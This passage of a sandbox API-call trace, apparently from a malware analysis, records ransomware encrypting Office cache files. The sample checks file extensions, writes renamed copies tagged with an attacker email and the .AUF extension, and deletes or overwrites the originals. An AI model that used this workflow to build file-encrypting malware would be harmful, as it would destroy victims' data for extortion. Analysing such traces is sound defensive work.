(hObject=0x1e0) returned 1 [0214.722] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.722] SetEndOfFile (hFile=0x1e8) returned 1 [0214.724] CloseHandle (hObject=0x1e8) returned 1 [0214.724] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.724] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0214.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.724] lstrlenW (lpString=".doc") returned 4 [0214.724] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0214.724] lstrlenW (lpString=".docx") returned 5 [0214.724] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0214.724] lstrlenW (lpString=".pdf") returned 4 [0214.724] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0214.724] lstrlenW (lpString=".xls") returned 4 [0214.724] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0214.724] lstrlenW (lpString=".xlsx") returned 5 [0214.724] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0214.724] lstrlenW (lpString=".ppt") returned 4 [0214.724] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0214.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.724] lstrlenW (lpString=".zip") returned 4 [0214.724] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0214.724] lstrlenW (lpString=".rar") returned 4 [0214.724] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0214.724] lstrlenW (lpString=".bz2") returned 4 [0214.724] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0214.724] lstrlenW (lpString=".7z") returned 3 [0214.724] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0214.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.724] lstrlenW (lpString=".dbf") returned 4 [0214.724] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0214.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.724] lstrlenW (lpString=".1cd") returned 4 [0214.725] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0214.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.725] lstrlenW (lpString=".jpg") returned 4 [0214.725] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0214.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.725] lstrlenW (lpString=".doc") returned 4 [0214.725] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0214.725] lstrlenW (lpString=".docx") returned 5 [0214.725] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0214.725] lstrlenW (lpString=".pdf") returned 4 [0214.725] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0214.725] lstrlenW (lpString=".xls") returned 4 [0214.725] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0214.725] lstrlenW (lpString=".xlsx") returned 5 [0214.725] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0214.725] lstrlenW (lpString=".ppt") returned 4 [0214.725] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0214.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.725] lstrlenW (lpString=".zip") returned 4 [0214.725] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0214.725] lstrlenW (lpString=".rar") returned 4 [0214.725] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0214.725] lstrlenW (lpString=".bz2") returned 4 [0214.725] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0214.725] lstrlenW (lpString=".7z") returned 3 [0214.725] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0214.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.725] lstrlenW (lpString=".dbf") returned 4 [0214.725] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0214.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.725] lstrlenW (lpString=".1cd") returned 4 [0214.725] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0214.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0214.725] lstrlenW (lpString=".jpg") returned 4 [0214.725] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0214.725] lstrcmpiW (lpString1=".xrm-ms", lpString2=".AUF") returned 1 [0214.725] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0214.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0214.737] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=715834) returned 1 [0214.737] CloseHandle (hObject=0x1e8) returned 1 [0214.737] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0214.737] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.737] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0214.737] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.737] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.737] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.737] GetLastError () returned 0x0 [0214.737] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0214.838] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0214.848] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0214.849] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x104, lpOverlapped=0x0) returned 1 [0214.849] SetEndOfFile (hFile=0x1e0) returned 1 [0214.849] CloseHandle (hObject=0x1e0) returned 1 [0214.849] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.849] SetEndOfFile (hFile=0x1e8) returned 1 [0214.853] CloseHandle (hObject=0x1e8) returned 1 [0214.853] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.853] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0214.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.854] lstrlenW (lpString=".doc") returned 4 [0214.854] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString=".docx") returned 5 [0214.854] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.854] lstrlenW (lpString=".pdf") returned 4 [0214.854] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString=".xls") returned 4 [0214.854] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString=".xlsx") returned 5 [0214.854] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.854] lstrlenW (lpString=".ppt") returned 4 [0214.854] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.854] lstrlenW (lpString=".zip") returned 4 [0214.854] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString=".rar") returned 4 [0214.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString=".bz2") returned 4 [0214.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString=".7z") returned 3 [0214.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.854] lstrlenW (lpString=".dbf") returned 4 [0214.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.854] lstrlenW (lpString=".1cd") returned 4 [0214.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.854] lstrlenW (lpString=".jpg") returned 4 [0214.854] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.854] lstrlenW (lpString=".doc") returned 4 [0214.854] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString=".docx") returned 5 [0214.854] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.854] lstrlenW (lpString=".pdf") returned 4 [0214.854] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString=".xls") returned 4 [0214.854] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString=".xlsx") returned 5 [0214.854] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.854] lstrlenW (lpString=".ppt") returned 4 [0214.854] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.854] lstrlenW (lpString=".zip") returned 4 [0214.855] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.855] lstrlenW (lpString=".rar") returned 4 [0214.855] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.855] lstrlenW (lpString=".bz2") returned 4 [0214.855] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.855] lstrlenW (lpString=".7z") returned 3 [0214.855] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.855] lstrlenW (lpString=".dbf") returned 4 [0214.855] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.855] lstrlenW (lpString=".1cd") returned 4 [0214.855] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0214.855] lstrlenW (lpString=".jpg") returned 4 [0214.855] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.855] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0214.855] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0214.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0214.858] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=10798080) returned 1 [0214.858] CloseHandle (hObject=0x1e8) returned 1 [0214.859] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0214.859] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.859] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0214.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0214.859] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0214.859] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0214.859] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.877] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0214.877] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.973] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.973] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0214.973] ReadFile (in: hFile=0x1e8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.045] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.045] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0215.059] SetEndOfFile (hFile=0x1e8) returned 1 [0215.062] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0215.062] WriteFile (in: hFile=0x1e8, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.062] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0215.062] WriteFile (in: hFile=0x1e8, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.064] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0215.064] WriteFile (in: hFile=0x1e8, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.067] CloseHandle (hObject=0x1e8) returned 1 [0215.067] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.067] lstrlenW (lpString=".doc") returned 4 [0215.067] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0215.068] lstrlenW (lpString=".docx") returned 5 [0215.068] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0215.068] lstrlenW (lpString=".pdf") returned 4 [0215.068] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString=".xls") returned 4 [0215.068] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString=".xlsx") returned 5 [0215.068] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0215.068] lstrlenW (lpString=".ppt") returned 4 [0215.068] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.068] lstrlenW (lpString=".zip") returned 4 [0215.068] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString=".rar") returned 4 [0215.068] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString=".bz2") returned 4 [0215.068] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0215.068] lstrlenW (lpString=".7z") returned 3 [0215.068] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0215.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.068] lstrlenW (lpString=".dbf") returned 4 [0215.068] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0215.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.068] lstrlenW (lpString=".1cd") returned 4 [0215.068] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0215.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.068] lstrlenW (lpString=".jpg") returned 4 [0215.068] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0215.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.068] lstrlenW (lpString=".doc") returned 4 [0215.068] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0215.068] lstrlenW (lpString=".docx") returned 5 [0215.068] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0215.068] lstrlenW (lpString=".pdf") returned 4 [0215.068] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString=".xls") returned 4 [0215.068] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString=".xlsx") returned 5 [0215.068] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0215.068] lstrlenW (lpString=".ppt") returned 4 [0215.068] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.068] lstrlenW (lpString=".zip") returned 4 [0215.068] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString=".rar") returned 4 [0215.068] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0215.068] lstrlenW (lpString=".bz2") returned 4 [0215.068] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0215.068] lstrlenW (lpString=".7z") returned 3 [0215.068] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0215.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.068] lstrlenW (lpString=".dbf") returned 4 [0215.069] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0215.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.069] lstrlenW (lpString=".1cd") returned 4 [0215.069] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0215.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0215.069] lstrlenW (lpString=".jpg") returned 4 [0215.069] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0215.069] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0215.069] lstrlenW (lpString="ose.exe") returned 7 [0215.069] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.215] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=174440) returned 1 [0215.215] CloseHandle (hObject=0x208) returned 1 [0215.215] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0215.215] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all 